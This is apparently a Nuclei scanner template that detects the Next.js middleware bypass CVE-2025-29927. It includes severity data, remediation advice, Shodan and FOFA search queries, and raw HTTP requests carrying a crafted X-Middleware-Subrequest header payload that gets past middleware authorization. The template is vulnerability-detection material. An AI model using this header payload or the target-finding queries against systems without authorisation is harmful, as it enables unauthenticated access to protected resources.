id: CVE-2025-29927

info:
  name: Next.js Middleware Bypass
  author: pdresearch,pdteam,hazedic
  severity: critical
  description: |
    Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
    The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
    'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
  impact: |
    Unauthenticated attackers can bypass middleware security controls by sending crafted x-middleware-subrequest headers, potentially circumventing authorization checks and accessing protected resources.
  remediation: |
    Upgrade to Next.js 14.2.25 or 15.2.3 or later. If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
    - https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/
  classification:
    epss-score: 0.92118
    epss-percentile: 0.99721
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cwe-id: CWE-287
  metadata:
    max-request: 1
    shodan-query: "x-middleware-rewrite"
    fofa-query: "x-middleware-rewrite"
    product: next.js
    vendor: zeit
  tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev,vuln

flow: |
    let base_check = function () {
      return http(1) && http(2);
    };

    let endpoint_check = function () {
      if (!http(3)) return false;

      for (let endpoint_urls of iterate(template.endpoints)) {
        set("endpoints", endpoint_urls);
        if (!(http(4) && http(5))) return false;
      }

      return true;
    };
    base_check() || endpoint_check()

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite"
        internal: true

      - type: status
        status:
          - 307
        internal: true

    extractors:
      - type: regex
        name: redirect_path
        part: header
        regex:
          - "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Nextjs-Data: 1
        X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

    matchers:
      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"

    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
          - contains_any(to_lower(location), 'unauthorized') && status_code != 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
# digest: 4a0a0047304502200ec89a5e0de71dfde946b30502f7edb0736bc1c75057f999b76af63c57e3c3c3022100e4ee0e0f7350853702d36f5cd214ea146601681abab9c069a3b1444ef62c9c63:922c64590222798bb761d5b6d8e72950